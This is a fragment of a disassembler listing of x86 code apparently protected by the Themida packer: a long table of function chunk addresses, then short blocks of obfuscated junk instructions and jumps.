; FUNCTION CHUNK AT 0059A712 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059A739 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059A78F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059A7B1 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0059A840 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059A94D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059A95E SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0059AA9D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059AAD8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059AB53 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059AB7E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059AB91 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059ABB7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059ABDA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059AC0B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059AC41 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059AC50 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059AC61 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0059AD35 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059AD6E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059ADE5 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059AE38 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059AE6F SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059AF02 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059AF38 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059AFA9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059AFD7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059B0DB SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0059B113 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059B154 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059B187 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059B1AD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059B29D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059B311 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059B330 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059B39C SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059B41B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059B44A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059B498 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059B4C4 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0059B502 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0059B596 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B65D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059B6A9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059B6F6 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0059B727 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059B788 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059B888 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059B8F9 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0059B957 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059B9A3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059B9B4 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059B9DD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059B9ED SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059BA49 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059BA96 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059BBC3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059BC94 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0059BD81 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0059BDEE SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059BE2C SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059BEFB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059C023 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059C06D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059C098 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059C144 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059C1AB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059C1C4 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0059C2BC SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059C328 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059C396 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059C403 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059C422 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059C4C7 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 0059C521 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059C5C4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059C60B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059C68A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059C6FA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059C71D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059C773 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059C7C9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059C825 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0059C979 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059CA80 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059CA90 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0059CB1C SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059CB66 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059CB8F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059CBD8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059CC50 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059CCC3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059CCEB SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059CDB0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059CDEE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059CE21 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0059CEC8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059CEEC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059CF1F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059CFA1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059D08C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059D0AF SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0059D1A2 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059D21E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059D24E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059D27C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059D2AA SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059D2FA SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059D369 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059D412 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059D490 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059D51D SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059D5A5 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059D5EE SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059D664 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059D685 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059D6A4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059D6E4 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 0059D745 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059D7DD SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0059D840 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059D865 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059D917 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059D937 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0059D97C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059DA5E SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059DAB4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059DB0E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059DBB5 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059DBE4 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059DC94 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059DD6E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059DD9F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059DE23 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059DE7A SIZE 0000004E BYTES
; FUNCTION CHUNK AT 0059DEEA SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059DF9E SIZE 00000048 BYTES
; FUNCTION CHUNK AT 0059E000 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0059E0C3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059E0D1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059E135 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059E1C2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059E1F5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059E257 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059E2A7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059E32A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059E38A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059E4DA SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0059E577 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 0059E5CA SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059E5FC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059E720 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059E775 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059E7E4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059E987 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059E9A7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059EA73 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059EA83 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059EAC8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059EAE9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059EBB0 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059EBFE SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0059EC9F SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0059ED98 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059EDE4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059EE4C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059EE7F SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0059EECD SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059EF3E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059EFA3 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059F05A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059F0B4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059F197 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059F1FD SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059F268 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059F334 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059F3C5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059F3E4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059F420 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059F444 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059F52E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059F5D2 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059F60B SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059F633 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059F65C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059F6E1 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 0059F829 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059F872 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059F8FE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059F95B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059F9AD SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0059FA41 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059FAA5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059FB05 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0059FB4B SIZE 0000005D BYTES
; FUNCTION CHUNK AT 0059FBDB SIZE 0000003C BYTES
; FUNCTION CHUNK AT 0059FC83 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059FD11 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059FDA1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059FE06 SIZE 00000050 BYTES
; FUNCTION CHUNK AT 0059FE7E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059FED8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059FF3E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059FF74 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0059FFCE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A0044 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A019A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A01FF SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A02AA SIZE 0000003D BYTES
; FUNCTION CHUNK AT 005A0331 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A03D2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A0435 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A046E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A055B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A05BC SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A05E8 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A0751 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 005A07A3 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A0875 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A0897 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A0914 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A09FD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A0A7E SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A0AE2 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A0B07 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A0C20 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A0C62 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A0C76 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A0CA9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A0D29 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005A0D6A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A0D7F SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005A0DE1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A0E09 SIZE 0000004B BYTES
; FUNCTION CHUNK AT 005A0E9D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A0EB8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A0EE7 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A0F83 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A105C SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005A10B7 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A10E8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A114F SIZE 00000045 BYTES
; FUNCTION CHUNK AT 005A11BB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A11EB SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A1237 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 005A129F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A1320 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A1387 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005A13FD SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A145A SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005A148D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A14EF SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A159D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A160F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A1638 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A175B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A176B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A18B8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A18FE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A196D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A1994 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A1A20 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A1B23 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A1B5A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A1BC3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A1BE0 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A1C3E SIZE 0000004B BYTES
; FUNCTION CHUNK AT 005A1D0A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A1DAD SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A1E10 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A1E4C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A1F1D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A1F81 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A2069 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A2097 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A20AC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A219C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A21C1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A220F SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A22D8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A2366 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A2390 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A23B0 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A240F SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A24F6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A2524 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005A25C5 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 005A2640 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005A267F SIZE 00000035 BYTES
; FUNCTION CHUNK AT 005A2782 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A2858 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A2940 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005A29A2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A29BD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A2A1A SIZE 00000033 BYTES
; FUNCTION CHUNK AT 005A2A99 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 005A2B2F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A2B8E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A2BCC SIZE 00000050 BYTES
; FUNCTION CHUNK AT 005A2C6E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A2CA2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A2D32 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A2D4E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A2D7D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A2DBF SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A2E2B SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005A2E82 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A2EF0 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A2F24 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A2FB0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A3027 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A3059 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005A30CF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A3110 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A3155 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A3183 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A31A1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A31EB SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005A32DC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A3308 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A3379 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A352B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A35AB SIZE 00000038 BYTES
; FUNCTION CHUNK AT 005A3620 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A36EB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A3720 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A378B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A37E2 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 005A396C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A3992 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A3A1C SIZE 00000037 BYTES
; FUNCTION CHUNK AT 005A3A80 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 005A3B10 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A3B62 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A3BAB SIZE 0000004D BYTES
; FUNCTION CHUNK AT 005A3C72 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A3CD5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A3D52 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A3D8B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A3DD4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A3E07 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A3E43 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A3ED5 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A3F4C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A3FB4 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005A3FE3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A4077 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A40D3 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 005A41B8 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A4270 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A42C3 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A42FD SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005A4402 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A4445 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A44BC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A45B8 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005A4670 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A46AB SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A46EC SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005A4727 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A4755 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A4768 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A4834 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A48EA SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A494F SIZE 0000003A BYTES
; FUNCTION CHUNK AT 005A4A1B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A4A48 SIZE 00000054 BYTES
; FUNCTION CHUNK AT 005A4AE4 SIZE 0000006F BYTES
; FUNCTION CHUNK AT 005A4B71 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A4BE8 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A4C50 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A4C8E SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A4CBB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A4CCE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A4D4F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A4DF7 SIZE 0000004B BYTES
; FUNCTION CHUNK AT 005A4F5D SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A4F94 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A4FDF SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A500A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A5036 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005A50B3 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A50F1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A5128 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A51D7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A5246 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A5278 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005A52C5 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A5343 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005A538B SIZE 0000005B BYTES
; FUNCTION CHUNK AT 005A5416 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A5439 SIZE 00000042 BYTES
; FUNCTION CHUNK AT 005A5492 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A54B8 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A5503 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A551F SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005A55D1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A5641 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 005A56AC SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A56DF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A5700 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A5814 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A585A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A5905 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 005A59AA SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A59DF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A59F4 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A5A36 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A5AD5 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A5BDA SIZE 0000000D BYTES

		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-0Ch+arg_4]
		pop	esp
		add	edi, 4
		sub	edi, 2
		sub	esp, 4
		mov	[esp-0Ch+arg_4], edi
		push	[esp-0Ch+arg_8]
		pop	edi
		pop	[esp-0Ch+arg_4]
		pop	esp
		mov	word ptr [esp-14h+arg_C], dx
		push	eax
		mov	al, 0D6h
		push	ecx
		jmp	loc_594384
; ---------------------------------------------------------------------------


loc_593949:				; CODE XREF: Themida_:00596821j
		mov	esi, [esp-0Ch+arg_4]
		jmp	loc_595715
; ---------------------------------------------------------------------------


loc_593951:				; CODE XREF: sub_5999A4+6BB2j
		pop	ebp
		jmp	loc_5A59DF
; ---------------------------------------------------------------------------


loc_593957:				; CODE XREF: Themida_:0059A258j
		push	edx
		push	edi
		push	1C2846B3h
		pop	edi
		shr	edi, 4
		shr	edi, 3
		jmp	loc_5A30CF
; ---------------------------------------------------------------------------


loc_59396A:				; CODE XREF: Themida_:005A1913j
		pop	edx
		add	[esp-0Ch+arg_8], ebx
		jmp	loc_5985A8
; ---------------------------------------------------------------------------


loc_593974:				; CODE XREF: sub_59B20A-5C87j
		mov	ecx, 5A36049Fh
		not	ecx
		not	ecx
		dec	ecx
		inc	ecx
		or	ecx, 63B37A93h
		jmp	loc_5A2E48
; ---------------------------------------------------------------------------


loc_59398A:				; CODE XREF: sub_59C8A4-5481j
		push	edi
		jmp	sub_598BAA
; ---------------------------------------------------------------------------


